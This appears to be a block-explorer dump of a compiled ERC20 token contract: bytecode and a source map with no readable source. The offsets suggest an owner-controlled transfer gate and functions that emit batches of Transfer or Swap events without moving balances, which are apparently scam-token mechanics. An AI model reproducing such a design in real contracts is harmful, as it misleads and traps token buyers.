565b60006117fb826117d0565b9050919050565b61180b816117f0565b811461181657600080fd5b50565b60008135905061182881611802565b92915050565b6000819050919050565b6118418161182e565b811461184c57600080fd5b50565b60008135905061185e81611838565b92915050565b6000806040838503121561187b5761187a6117c6565b5b600061188985828601611819565b925050602061189a8582860161184f565b9150509250929050565b60008115159050919050565b6118b9816118a4565b82525050565b60006020820190506118d460008301846118b0565b92915050565b6118e38161182e565b82525050565b60006020820190506118fe60008301846118da565b92915050565b60008060006060848603121561191d5761191c6117c6565b5b600061192b86828701611819565b935050602061193c86828701611819565b925050604061194d8682870161184f565b9150509250925092565b600060ff82169050919050565b61196d81611957565b82525050565b60006020820190506119886000830184611964565b92915050565b6000602082840312156119a4576119a36117c6565b5b60006119b284828501611819565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e0576119df6119bb565b5b8235905067ffffffffffffffff8111156119fd576119fc6119c0565b5b602083019150836020820283011115611a1957611a186119c5565b5b9250929050565b60008083601f840112611a3657611a356119bb565b5b8235905067ffffffffffffffff811115611a5357611a526119c0565b5b602083019150836020820283011115611a6f57611a6e6119c5565b5b9250929050565b60008060008060008060608789031215611a9357611a926117c6565b5b600087013567ffffffffffffffff811115611ab157611ab06117cb565b5b611abd89828a016119ca565b9650965050602087013567ffffffffffffffff811115611ae057611adf6117cb565b5b611aec89828a016119ca565b9450945050604087013567ffffffffffffffff811115611b0f57611b0e6117cb565b5b611b1b89828a01611a20565b92509250509295509295509295565b60008060208385031215611b4157611b406117c6565b5b600083013567ffffffffffffffff811115611b5f57611b5e6117cb565b5b611b6b858286016119ca565b92509250509250929050565b60008060008060608587031215611b9157611b906117c6565b5b600085013567ffffffffffffffff811115611baf57611bae6117cb565b5b611bbb878288016119ca565b94509450506020611bce8782880161184f565b9250506040611bdf8782880161184f565b91505092959194509250565b611bf4816117f0565b82525050565b6000602082019050611c0f6000830184611beb565b92915050565b60008060408385031215611c2c57611c2b6117c6565b5b6000611c3a85828601611819565b9250506020611c4b85828601611819565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9c57607f821691505b60208210811415611cb057611caf611c55565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf08261182e565b9150611cfb8361182e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d3057611d2f611cb6565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d758261182e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611da857611da7611cb6565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611de2611ddd611dd884611db3565b611dbd565b61182e565b9050919050565b611df281611dc7565b82525050565b6000608082019050611e0d6000830187611de9565b611e1a60208301866118da565b611e2760408301856118da565b611e346060830184611de9565b95945050505050565b6000608082019050611e5260008301876118da565b611e5f6020830186611de9565b611e6c6040830185611de9565b611e7960608301846118da565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ede602583611716565b9150611ee982611e82565b604082019050919050565b60006020820190508181036000830152611f0d81611ed1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f70602683611716565b9150611f7b82611f14565b604082019050919050565b60006020820190508181036000830152611f9f81611f63565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612002602483611716565b915061200d82611fa6565b604082019050919050565b6000602082019050818103600083015261203181611ff5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612094602283611716565b915061209f82612038565b604082019050919050565b600060208201905081810360008301526120c381612087565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612100601d83611716565b915061210b826120ca565b602082019050919050565b6000602082019050818103600083015261212f816120f3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612192602583611716565b915061219d82612136565b604082019050919050565b600060208201905081810360008301526121c181612185565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612224602383611716565b915061222f826121c8565b604082019050919050565b6000602082019050818103600083015261225381612217565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122b6602683611716565b91506122c18261225a565b604082019050919050565b600060208201905081810360008301526122e5816122a9565b9050919050565b50565b60006122fc600083611716565b9150612307826122ec565b600082019050919050565b6000602082019050818103600083015261232b816122ef565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612368602083611716565b915061237382612332565b602082019050919050565b600060208201905081810360008301526123978161235b565b905091905056fea264697066735822122055faeac86381b848662519efc5e6a855957f51fd47b0c37d8fbc23460b27253264736f6c634300080c0033
Deployed Bytecode Sourcemap
36611:160:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9033:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11382:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10151:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12163:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9995:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22337:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12867:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21125:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10322:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21379:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6133:103;;;:::i;:::-;;20628:275;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21919:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5492:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9252:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21620:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13608:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10655:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21252:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22219:110;;;:::i;:::-;;10911:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20911:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6391:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9033:100;9087:13;9120:5;9113:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9033:100;:::o;11382:201::-;11465:4;11482:13;11498:12;:10;:12::i;:::-;11482:28;;11521:32;11530:5;11537:7;11546:6;11521:8;:32::i;:::-;11571:4;11564:11;;;11382:201;;;;:::o;10151:108::-;10212:7;10239:12;;10232:19;;10151:108;:::o;12163:295::-;12294:4;12311:15;12329:12;:10;:12::i;:::-;12311:30;;12352:38;12368:4;12374:7;12383:6;12352:15;:38::i;:::-;12401:27;12411:4;12417:2;12421:6;12401:9;:27::i;:::-;12446:4;12439:11;;;12163:295;;;;;:::o;9995:93::-;10053:5;10078:2;10071:9;;9995:93;:::o;22337:97::-;5378:13;:11;:13::i;:::-;22419:7:::1;22411:5;;:15;;;;;;;;;;;;;;;;;;22337:97:::0;:::o;12867:238::-;12955:4;12972:13;12988:12;:10;:12::i;:::-;12972:28;;13011:64;13020:5;13027:7;13064:10;13036:25;13046:5;13053:7;13036:9;:25::i;:::-;:38;;;;:::i;:::-;13011:8;:64::i;:::-;13093:4;13086:11;;;12867:238;;;;:::o;21125:119::-;21189:4;21213:12;:23;21226:9;21213:23;;;;;;;;;;;;;;;;;;;;;;;;;21206:30;;21125:119;;;:::o;10322:127::-;10396:7;10423:9;:18;10433:7;10423:18;;;;;;;;;;;;;;;;10416:25;;10322:127;;;:::o;21379:233::-;21500:9;21495:110;21519:5;;:12;;21515:1;:16;21495:110;;;21577:3;;21581:1;21577:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21558:35;;21567:5;;21573:1;21567:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21558:35;;;21585:4;;21590:1;21585:7;;;;;;;:::i;:::-;;;;;;;;21558:35;;;;;;:::i;:::-;;;;;;;;21533:3;;;;;:::i;:::-;;;;21495:110;;;;21379:233;;;;;;:::o;6133:103::-;5378:13;:11;:13::i;:::-;6198:30:::1;6225:1;6198:18;:30::i;:::-;6133:103::o:0;20628:275::-;5378:13;:11;:13::i;:::-;20713:9:::1;20708:188;20732:11;;:18;;20728:1;:22;20708:188;;;20803:4;20772:12;:28;20785:11;;20797:1;20785:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20772:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;20852:4;;;;;;;;;;;20827:57;;20836:11;;20848:1;20836:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20827:57;;;20858:25;20868:11;;20880:1;20868:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20858:9;:25::i;:::-;20827:57;;;;;;:::i;:::-;;;;;;;;20752:3;;;;;:::i;:::-;;;;20708:188;;;;20628:275:::0;;:::o;21919:292::-;22023:9;22018:186;22042:11;;:18;;22038:1;:22;22018:186;;;22121:11;;22133:1;22121:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22087:49;;22092:10;;;;;;;;;;;22087:49;;;22104:1;22107:3;22112:4;22118:1;22087:49;;;;;;;;;:::i;:::-;;;;;;;;22181:5;;;;;;;;;;;22156:36;;22165:11;;22177:1;22165:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22156:36;;;22188:3;22156:36;;;;;;:::i;:::-;;;;;;;;22062:3;;;;;:::i;:::-;;;;22018:186;;;;21919:292;;;;:::o;5492:87::-;5538:7;5565:6;;;;;;;;;;;5558:13;;5492:87;:::o;9252:104::-;9308:13;9341:7;9334:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9252:104;:::o;21620:291::-;21722:9;21717:187;21741:11;;:18;;21737:1;:22;21717:187;;;21820:11;;21832:1;21820:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21786:49;;21791:10;;;;;;;;;;;21786:49;;;21803:3;21808:1;21811;21814:4;21786:49;;;;;;;;;:::i;:::-;;;;;;;;21871:11;;21883:1;21871:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21855:37;;21864:5;;;;;;;;;;;21855:37;;;21887:4;21855:37;;;;;;:::i;:::-;;;;;;;;21761:3;;;;;:::i;:::-;;;;21717:187;;;;21620:291;;;;:::o;13608:436::-;13701:4;13718:13;13734:12;:10;:12::i;:::-;13718:28;;13757:24;13784:25;13794:5;13801:7;13784:9;:25::i;:::-;13757:52;;13848:15;13828:16;:35;;13820:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13941:60;13950:5;13957:7;13985:15;13966:16;:34;13941:8;:60::i;:::-;14032:4;14025:11;;;;13608:436;;;;:::o;10655:193::-;10734:4;10751:13;10767:12;:10;:12::i;:::-;10751:28;;10790;10800:5;10807:2;10811:6;10790:9;:28::i;:::-;10836:4;10829:11;;;10655:193;;;;:::o;21252:119::-;21353:3;21337:26;;21346:5;21337:26;;;21358:4;21337:26;;;;;;:::i;:::-;;;;;;;;21252:119;;;:::o;22219:110::-;5378:13;:11;:13::i;:::-;22278:10:::1;22270:28;;:51;22299:21;22270:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;22219:110::o:0;10911:151::-;11000:7;11027:11;:18;11039:5;11027:18;;;;;;;;;;;;;;;:27;11046:7;11027:27;;;;;;;;;;;;;;;;11020:34;;10911:151;;;;:::o;20911:206::-;5378:13;:11;:13::i;:::-;21003:9:::1;20998:112;21022:11;;:18;;21018:1;:22;20998:112;;;21093:5;21062:12;:28;21075:11;;21087:1;21075:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21062:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;21042:3;;;;;:::i;:::-;;;;20998:112;;;;20911:206:::0;;:::o;6391:201::-;5378:13;:11;:13::i;:::-;6500:1:::1;6480:22;;:8;:22;;;;6472:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6556:28;6575:8;6556:18;:28::i;:::-;6391:201:::0;:::o;4201:98::-;4254:7;4281:10;4274:17;;4201:98;:::o;17730:380::-;17883:1;17866:19;;:5;:19;;;;17858:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17964:1;17945:21;;:7;:21;;;;17937:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18048:6;18018:11;:18;18030:5;18018:18;;;;;;;;;;;;;;;:27;18037:7;18018:27;;;;;;;;;;;;;;;:36;;;;18086:7;18070:32;;18079:5;18070:32;;;18095:6;18070:32;;;;;;:::i;:::-;;;;;;;;17730:380;;;:::o;18401:453::-;18536:24;18563:25;18573:5;18580:7;18563:9;:25::i;:::-;18536:52;;18623:17;18603:16;:37;18599:248;;18685:6;18665:16;:26;;18657:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18769:51;18778:5;18785:7;18813:6;18794:16;:25;18769:8;:51::i;:::-;18599:248;18525:329;18401:453;;;:::o;14514:935::-;14661:1;14645:18;;:4;:18;;;;14637:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14738:1;14724:16;;:2;:16;;;;14716:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14793:38;14814:4;14820:2;14824:6;14793:20;:38::i;:::-;14844:19;14866:9;:15;14876:4;14866:15;;;;;;;;;;;;;;;;14844:37;;14915:6;14900:11;:21;;14892:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14979:12;:18;14992:4;14979:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;15001:12;:16;15014:2;15001:16;;;;;;;;;;;;;;;;;;;;;;;;;14979:38;14975:84;;;15050:4;15027:27;;:19;;;;;;;;;;;:27;;;15019:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;14975:84;15127:6;15113:11;:20;15095:9;:15;15105:4;15095:15;;;;;;;;;;;;;;;:38;;;;15330:6;15313:9;:13;15323:2;15313:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15380:2;15365:26;;15374:4;15365:26;;;15384:6;15365:26;;;;;;:::i;:::-;;;;;;;;15404:37;15424:4;15430:2;15434:6;15404:19;:37::i;:::-;14626:823;14514:935;;;:::o;5657:132::-;5732:12;:10;:12::i;:::-;5721:23;;:7;:5;:7::i;:::-;:23;;;5713:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5657:132::o;6752:191::-;6826:16;6845:6;;;;;;;;;;;6826:25;;6871:8;6862:6;;:17;;;;;;;;;;;;;;;;;;6926:8;6895:40;;6916:8;6895:40;;;;;;;;;;;;6815:128;6752:191;:::o;20186:125::-;;;;:::o;19458:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:117::-;5345:1;5342;5335:12;5359:117;5468:1;5465;5458:12;5482:117;5591:1;5588;5581:12;5622:568;5695:8;5705:6;5755:3;5748:4;5740:6;5736:17;5732:27;5722:122;;5763:79;;:::i;:::-;5722:122;5876:6;5863:20;5853:30;;5906:18;5898:6;5895:30;5892:117;;;5928:79;;:::i;:::-;5892:117;6042:4;6034:6;6030:17;6018:29;;6096:3;6088:4;6080:6;6076:17;6066:8;6062:32;6059:41;6056:128;;;6103:79;;:::i;:::-;6056:128;5622:568;;;;;:::o;6213:::-;6286:8;6296:6;6346:3;6339:4;6331:6;6327:17;6323:27;6313:122;;6354:79;;:::i;:::-;6313:122;6467:6;6454:20;6444:30;;6497:18;6489:6;6486:30;6483:117;;;6519:79;;:::i;:::-;6483:117;6633:4;6625:6;6621:17;6609:29;;6687:3;6679:4;6671:6;6667:17;6657:8;6653:32;6650:41;6647:128;;;6694:79;;:::i;:::-;6647:128;6213:568;;;;;:::o;6787:1309::-;6945:6;6953;6961;6969;6977;6985;7034:2;7022:9;7013:7;7009:23;7005:32;7002:119;;;7040:79;;:::i;:::-;7002:119;7188:1;7177:9;7173:17;7160:31;7218:18;7210:6;7207:30;7204:117;;;7240:79;;:::i;:::-;7204:117;7353:80;7425:7;7416:6;7405:9;7401:22;7353:80;:::i;:::-;7335:98;;;;7131:312;7510:2;7499:9;7495:18;7482:32;7541:18;7533:6;7530:30;7527:117;;;7563:79;;:::i;:::-;7527:117;7676:80;7748:7;7739:6;7728:9;7724:22;7676:80;:::i;:::-;7658:98;;;;7453:313;7833:2;7822:9;7818:18;7805:32;7864:18;7856:6;7853:30;7850:117;;;7886:79;;:::i;:::-;7850:117;7999:80;8071:7;8062:6;8051:9;8047:22;7999:80;:::i;:::-;7981:98;;;;7776:313;6787:1309;;;;;;;;:::o;8102:559::-;8188:6;8196;8245:2;8233:9;8224:7;8220:23;8216:32;8213:119;;;8251:79;;:::i;:::-;8213:119;8399:1;8388:9;8384:17;8371:31;8429:18;8421:6;8418:30;8415:117;;;8451:79;;:::i;:::-;8415:117;8564:80;8636:7;8627:6;8616:9;8612:22;8564:80;:::i;:::-;8546:98;;;;8342:312;8102:559;;;;;:::o;8667:849::-;8771:6;8779;8787;8795;8844:2;8832:9;8823:7;8819:23;8815:32;8812:119;;;8850:79;;:::i;:::-;8812:119;8998:1;8987:9;8983:17;8970:31;9028:18;9020:6;9017:30;9014:117;;;9050:79;;:::i;:::-;9014:117;9163:80;9235:7;9226:6;9215:9;9211:22;9163:80;:::i;:::-;9145:98;;;;8941:312;9292:2;9318:53;9363:7;9354:6;9343:9;9339:22;9318:53;:::i;:::-;9308:63;;9263:118;9420:2;9446:53;9491:7;9482:6;9471:9;9467:22;9446:53;:::i;:::-;9436:63;;9391:118;8667:849;;;;;;;:::o;9522:118::-;9609:24;9627:5;9609:24;:::i;:::-;9604:3;9597:37;9522:118;;:::o;9646:222::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9790:71;9858:1;9847:9;9843:17;9834:6;9790:71;:::i;:::-;9646:222;;;;:::o;9874:474::-;9942:6;9950;9999:2;9987:9;9978:7;9974:23;9970:32;9967:119;;;10005:79;;:::i;:::-;9967:119;10125:1;10150:53;10195:7;10186:6;10175:9;10171:22;10150:53;:::i;:::-;10140:63;;10096:117;10252:2;10278:53;10323:7;10314:6;10303:9;10299:22;10278:53;:::i;:::-;10268:63;;10223:118;9874:474;;;;;:::o;10354:180::-;10402:77;10399:1;10392:88;10499:4;10496:1;10489:15;10523:4;10520:1;10513:15;10540:320;10584:6;10621:1;10615:4;10611:12;10601:22;;10668:1;10662:4;10658:12;10689:18;10679:81;;10745:4;10737:6;10733:17;10723:27;;10679:81;10807:2;10799:6;10796:14;10776:18;10773:38;10770:84;;;10826:18;;:::i;:::-;10770:84;10591:269;10540:320;;;:::o;10866:180::-;10914:77;10911:1;10904:88;11011:4;11008:1;11001:15;11035:4;11032:1;11025:15;11052:305;11092:3;11111:20;11129:1;11111:20;:::i;:::-;11106:25;;11145:20;11163:1;11145:20;:::i;:::-;11140:25;;11299:1;11231:66;11227:74;11224:1;11221:81;11218:107;;;11305:18;;:::i;:::-;11218:107;11349:1;11346;11342:9;11335:16;;11052:305;;;;:::o;11363:180::-;11411:77;11408:1;11401:88;11508:4;11505:1;11498:15;11532:4;11529:1;11522:15;11549:233;11588:3;11611:24;11629:5;11611:24;:::i;:::-;11602:33;;11657:66;11650:5;11647:77;11644:103;;;11727:18;;:::i;:::-;11644:103;11774:1;11767:5;11763:13;11756:20;;11549:233;;;:::o;11788:85::-;11833:7;11862:5;11851:16;;11788:85;;;:::o;11879:60::-;11907:3;11928:5;11921:12;;11879:60;;;:::o;11945:158::-;12003:9;12036:61;12054:42;12063:32;12089:5;12063:32;:::i;:::-;12054:42;:::i;:::-;12036:61;:::i;:::-;12023:74;;11945:158;;;:::o;12109:147::-;12204:45;12243:5;12204:45;:::i;:::-;12199:3;12192:58;12109:147;;:::o;12262:585::-;12455:4;12493:3;12482:9;12478:19;12470:27;;12507:79;12583:1;12572:9;12568:17;12559:6;12507:79;:::i;:::-;12596:72;12664:2;12653:9;12649:18;12640:6;12596:72;:::i;:::-;12678;12746:2;12735:9;12731:18;12722:6;12678:72;:::i;:::-;12760:80;12836:2;12825:9;12821:18;12812:6;12760:80;:::i;:::-;12262:585;;;;;;;:::o;12853:::-;13046:4;13084:3;13073:9;13069:19;13061:27;;13098:71;13166:1;13155:9;13151:17;13142:6;13098:71;:::i;:::-;13179:80;13255:2;13244:9;13240:18;13231:6;13179:80;:::i;:::-;13269;13345:2;13334:9;13330:18;13321:6;13269:80;:::i;:::-;13359:72;13427:2;13416:9;13412:18;13403:6;13359:72;:::i;:::-;12853:585;;;;;;;:::o;13444:224::-;13584:34;13580:1;13572:6;13568:14;13561:58;13653:7;13648:2;13640:6;13636:15;13629:32;13444:224;:::o;13674:366::-;13816:3;13837:67;13901:2;13896:3;13837:67;:::i;:::-;13830:74;;13913:93;14002:3;13913:93;:::i;:::-;14031:2;14026:3;14022:12;14015:19;;13674:366;;;:::o;14046:419::-;14212:4;14250:2;14239:9;14235:18;14227:26;;14299:9;14293:4;14289:20;14285:1;14274:9;14270:17;14263:47;14327:131;14453:4;14327:131;:::i;:::-;14319:139;;14046:419;;;:::o;14471:225::-;14611:34;14607:1;14599:6;14595:14;14588:58;14680:8;14675:2;14667:6;14663:15;14656:33;14471:225;:::o;14702:366::-;14844:3;14865:67;14929:2;14924:3;14865:67;:::i;:::-;14858:74;;14941:93;15030:3;14941:93;:::i;:::-;15059:2;15054:3;15050:12;15043:19;;14702:366;;;:::o;15074:419::-;15240:4;15278:2;15267:9;15263:18;15255:26;;15327:9;15321:4;15317:20;15313:1;15302:9;15298:17;15291:47;15355:131;15481:4;15355:131;:::i;:::-;15347:139;;15074:419;;;:::o;15499:223::-;15639:34;15635:1;15627:6;15623:14;15616:58;15708:6;15703:2;15695:6;15691:15;15684:31;15499:223;:::o;15728:366::-;15870:3;15891:67;15955:2;15950:3;15891:67;:::i;:::-;15884:74;;15967:93;16056:3;15967:93;:::i;:::-;16085:2;16080:3;16076:12;16069:19;;15728:366;;;:::o;16100:419::-;16266:4;16304:2;16293:9;16289:18;16281:26;;16353:9;16347:4;16343:20;16339:1;16328:9;16324:17;16317:47;16381:131;16507:4;16381:131;:::i;:::-;16373:139;;16100:419;;;:::o;16525:221::-;16665:34;16661:1;16653:6;16649:14;16642:58;16734:4;16729:2;16721:6;16717:15;16710:29;16525:221;:::o;16752:366::-;16894:3;16915:67;16979:2;16974:3;16915:67;:::i;:::-;16908:74;;16991:93;17080:3;16991:93;:::i;:::-;17109:2;17104:3;17100:12;17093:19;;16752:366;;;:::o;17124:419::-;17290:4;17328:2;17317:9;17313:18;17305:26;;17377:9;17371:4;17367:20;17363:1;17352:9;17348:17;17341:47;17405:131;17531:4;17405:131;:::i;:::-;17397:139;;17124:419;;;:::o;17549:179::-;17689:31;17685:1;17677:6;17673:14;17666:55;17549:179;:::o;17734:366::-;17876:3;17897:67;17961:2;17956:3;17897:67;:::i;:::-;17890:74;;17973:93;18062:3;17973:93;:::i;:::-;18091:2;18086:3;18082:12;18075:19;;17734:366;;;:::o;18106:419::-;18272:4;18310:2;18299:9;18295:18;18287:26;;18359:9;18353:4;18349:20;18345:1;18334:9;18330:17;18323:47;18387:131;18513:4;18387:131;:::i;:::-;18379:139;;18106:419;;;:::o;18531:224::-;18671:34;18667:1;18659:6;18655:14;18648:58;18740:7;18735:2;18727:6;18723:15;18716:32;18531:224;:::o;18761:366::-;18903:3;18924:67;18988:2;18983:3;18924:67;:::i;:::-;18917:74;;19000:93;19089:3;19000:93;:::i;:::-;19118:2;19113:3;19109:12;19102:19;;18761:366;;;:::o;19133:419::-;19299:4;19337:2;19326:9;19322:18;19314:26;;19386:9;19380:4;19376:20;19372:1;19361:9;19357:17;19350:47;19414:131;19540:4;19414:131;:::i;:::-;19406:139;;19133:419;;;:::o;19558:222::-;19698:34;19694:1;19686:6;19682:14;19675:58;19767:5;19762:2;19754:6;19750:15;19743:30;19558:222;:::o;19786:366::-;19928:3;19949:67;20013:2;20008:3;19949:67;:::i;:::-;19942:74;;20025:93;20114:3;20025:93;:::i;:::-;20143:2;20138:3;20134:12;20127:19;;19786:366;;;:::o;20158:419::-;20324:4;20362:2;20351:9